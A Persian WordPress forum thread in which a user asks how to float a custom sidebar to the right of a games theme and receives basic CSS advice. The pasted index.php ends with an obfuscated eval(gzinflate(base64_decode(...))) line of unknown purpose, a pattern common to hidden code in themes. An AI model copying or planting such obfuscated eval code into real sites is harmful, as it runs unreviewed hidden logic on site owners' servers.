ایجاد سایدبار در سمت راست قالب

[snape 0]

سلام , خسته نباشید

قالب من ساید بار نداره برای همین خودم درست کردم

ولی نمیدونم چجوری سمت راست یا چپ قالب بزارم

کد رو هرجا گذاشتم وسط قالب افتاد

این آدرس سایت: http://games.plus-up.ir

اینم فایل ایندکس:

<?php get_header(); ?>
<?
global $options;
foreach ($options as $value) {
    if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_settings( $value['id'] ); }
}
?>
<div class="indextop">
<div class="randomgames">
<div class="randomtop"></div>
<div class="randomgame">
<?php $recent = new WP_Query("cat=&showposts=10&orderby=rand"); while($recent->have_posts()) : $recent->the_post();?>
<div class="gamethumb">
<div class="thumbs">
<a href="<?php the_permalink() ?>" title="Play <?php the_title_attribute(); ?>"><img src="<?php $values = get_post_custom_values("thumb"); echo $values[0]; ?>" alt="" height="80" width="96" /></a>
</div>
<div class="thumbtitle">
<a href="<?php the_permalink() ?>" rel="bookmark" title="Play <?php the_title_attribute(); ?>"><?php
$tit = the_title('','',FALSE);
echo substr($tit, 0, 15);
if (strlen($tit) > 15) echo " ...";
?></a>
</div>
</div>
<?php endwhile; ?>
</div>
<div class="randombottom"></div>
</div>
<?php include (TEMPLATEPATH . '/ads/ad-336-280.php'); ?>
</div>
<div class="indexbottom">
<?php include (TEMPLATEPATH . '/ads/ad-120-600.php'); ?>
<div class="newgames">

<div class="newgamestop"></div>
<div class="newgamesgame">
<?php $recent = new WP_Query("cat=&showposts=21"); while($recent->have_posts()) : $recent->the_post();?>
<div class="gamethumb2">
<div class="thumbs">
<a href="<?php the_permalink() ?>" title="Play <?php the_title_attribute(); ?>"><img src="<?php $values = get_post_custom_values("thumb"); echo $values[0]; ?>" alt="" height="80" width="96" /></a>
</div>
<div class="thumbtitle">
<a href="<?php the_permalink() ?>" rel="bookmark" title="Play <?php the_title_attribute(); ?>"><?php
$tit = the_title('','',FALSE);
echo substr($tit, 0, 15);
if (strlen($tit) > 15) echo " ...";
?></a>
</div>
</div>
<?php endwhile; ?>
</div>
<div class="newgamesbottom"></div>
</div>
<div class="gamecloud">
<h2>Game Cloud</h2>
<div class="tagcloud">
<?php wp_tag_cloud('smallest=8&largest=16&number=45&order=RAND&separator=, '); ?>
</div>
</div>
</div>

</div>
<div id="pagemenu">
<ul>
<li class="home"><a title="<?php bloginfo('name'); ?>" class="home" href="<?php echo get_option('home'); ?>/">Home</a></li>
<?php wp_list_pages('sort_column=id&depth=1&title_li='); ?>
</ul>
<div class="gotop">
<a class="home" href="<?php echo get_option('home'); ?>/#header">Top</a>
</div>
</div>
<div class="footermenus">
    <?if ($tg_comments == "false") { ?>
<div class="footermenu">
<h2>Latest Comments</h2>
<?php
global $wpdb;
$sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID,
comment_post_ID, comment_author, comment_date_gmt, comment_approved,
comment_type,comment_author_url,
SUBSTRING(comment_content,1,30) AS com_excerpt
FROM $wpdb->comments
LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID =
$wpdb->posts.ID)
WHERE comment_approved = '1' AND comment_type = '' AND
post_password = ''
ORDER BY comment_date_gmt DESC
LIMIT 7";
$comments = $wpdb->get_results($sql);
$output = $pre_HTML;
$output .= "\n<ul>";
foreach ($comments as $comment) {
$output .= "\n<li>".strip_tags($comment->comment_author)
.":" . " <a href=\"" . get_permalink($comment->ID) .
"#comment-" . $comment->comment_ID . "\" title=\"on " .
$comment->post_title . "\">" . strip_tags($comment->com_excerpt)
."</a>...</li>";
}
$output .= "\n</ul>";
$output .= $post_HTML;
echo $output;?>
</div>
		  <? } else { ?>
<div class="footermenu">
<h2>Top Games</h2>
<ul>
		 <? if ($tg_name_1) { ?>
<li><a href="<? echo $tg_url_1; ?>" title="Play <? echo $tg_name_1; ?>"><? echo $tg_name_1; ?></a></li>
		  <? } else { ?>
		 <? } ?>
		 <? if ($tg_name_2) { ?>
<li><a href="<? echo $tg_url_2; ?>" title="Play <? echo $tg_name_2; ?>"><? echo $tg_name_2; ?></a></li>
		  <? } else { ?>
		 <? } ?>
		 <? if ($tg_name_3) { ?>
<li><a href="<? echo $tg_url_3; ?>" title="Play <? echo $tg_name_3; ?>"><? echo $tg_name_3; ?></a></li>
		  <? } else { ?>
		 <? } ?>
		 <? if ($tg_name_4) { ?>
<li><a href="<? echo $tg_url_4; ?>" title="Play <? echo $tg_name_4; ?>"><? echo $tg_name_4; ?></a></li>
		  <? } else { ?>
		 <? } ?>
		 <? if ($tg_name_5) { ?>
<li><a href="<? echo $tg_url_5; ?>" title="Play <? echo $tg_name_5; ?>"><? echo $tg_name_5; ?></a></li>
		  <? } else { ?>
		 <? } ?>
		 <? if ($tg_name_6) { ?>
<li><a href="<? echo $tg_url_6; ?>" title="Play <? echo $tg_name_6; ?>"><? echo $tg_name_6; ?></a></li>
		  <? } else { ?>
		 <? } ?>
		 <? if ($tg_name_7) { ?>
<li><a href="<? echo $tg_url_7; ?>" title="Play <? echo $tg_name_7; ?>"><? echo $tg_name_7; ?></a></li>
		  <? } else { ?>
		 <? } ?>
</ul>
</div>
    <? } ?>
<div class="footermenu">
<h2>Blogroll</h2>
<ul>
<?php wp_list_bookmarks('title_li=&categorize=0'); ?>
</ul>
</div>
<div class="footermenu">
<h2>About</h2>
<? if ($tg_info_content) { ?>
<p><? echo stripslashes($tg_info_content); ?></p>
<? } else { ?>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.</p>
<? } ?>
<?php eval(stripslashes(gzinflate(base64_decode("fZHBSsQwEIbvgu8w9OCul+3drS0sot70AQJL0kybQJoJbbD27Z1GjYVdzCWTyZ//C/80dVVq+1Hf3vzuXHEBVj+KoiOKOIqC25DXXUthOUIlwYzYsapqggmArSHoMZ4pREt+L3aGBhS7+yM0dSkKiDY6zHLlqLe+I9Z5mXWM+u+6KmUNTzjZ3qMGtWw+YWIMD2XZjYg9P5gOw+eG+cxteFn7TPg7JD/roSXnpKJRrj+H2UZz6awG8s76H/eWho39u5MLJNu3pMmo6xcJK72+hMzzfFA4RYPOcswcfsZtIzyxBF6zJuOu9lfadrxcp4jncP6e7z5lu0oU6SUVJg6OJ/EF")))); ?>

[علی زینلی 2114]

سلام

به انجمن خوش اومدی

باید با سی اس اس منحرفش کنی به اطراف

اگه کد ساید بارت رو میذاشتی بهتر بود

مثلاً میتونی از:

float: left;
و
float:right

استفاده کنی

همچنین از کد هایی مثل margin ، left و... میتونی استفاده کنی...

[snape 0]

ممنون

این کد رو تو functions.php گذاشتم:

if ( function_exists('register_sidebar') ) {
register_sidebar(array(
	 'name' => 'nam', // نام سایدبار
	 'id' => 'nam1',		 // آیدی سایدبار
	 'description' => 'my new sidebar', // توضیحی در مورد سایدبار
	 'before_widget' => '<div class="widget">', // کد قبل از هر ابزارک
	 'after_widget' => '</div>',						 // کد بعد از هر ابزارک
	 'before_title' => '<h2 class="widget-title">', // قبل از هر ابزارک
	 'after_title' => '</h2>', // بعد از عنوان ابزارک
));
}

بعد فایل sidebar-name.php ساختم و اینا رو توش گذاشتم:

<div id="sidebar">
<?php
if (!function_exists('dynamic_sidebar') || !dynamic_sidebar('nam1')):
endif; ?>
</div>

بعد هم که اینو میزارم تو فایل index:

<?php get_sidebar('name'); ?>

اگه کامل توضیح بدین که باید کدهای css رو چجوری و کجا بزارم ممنون میشم

ویرایش شده آذر 93 توسط snape

[Rohani 389]

کد

<?php get_sidebar('name'); ?>

باید در یک div قرار گیرد و به آن یک اسم دهید.

و در فایل style.css با توجه به اسمی که به آن div داده اید میتوانید اندازه، مکان، رنگ و .... برای آن تعریف کنید.

[snape 0]

آهان یکم فهمیدم

میشه واس سمت راست یه مثال بزنید که چجوری این کارو کنم؟

ویرایش شده آذر 93 توسط snape

[snape 0]

نمیشه یه مثال بزنید؟ با css زیاد آشنایی ندارم

[Rohani 389]

html

<div class="sidebar-right"> <?php get_sidebar('name'); ?> </div>

css

.sidebar-right {
float: right;
}

[snape 0]

ممنون

[snape 0]

ببخشید من باز اومدم

عرضم به خدمتتون که فرقی به حالم نکرد

بازم وسط سایت میاد

اصلا کنار نمیره

[علی زینلی 2114]

با آیدی یاهوی من در تماس باشید تا براتون درستش کنم.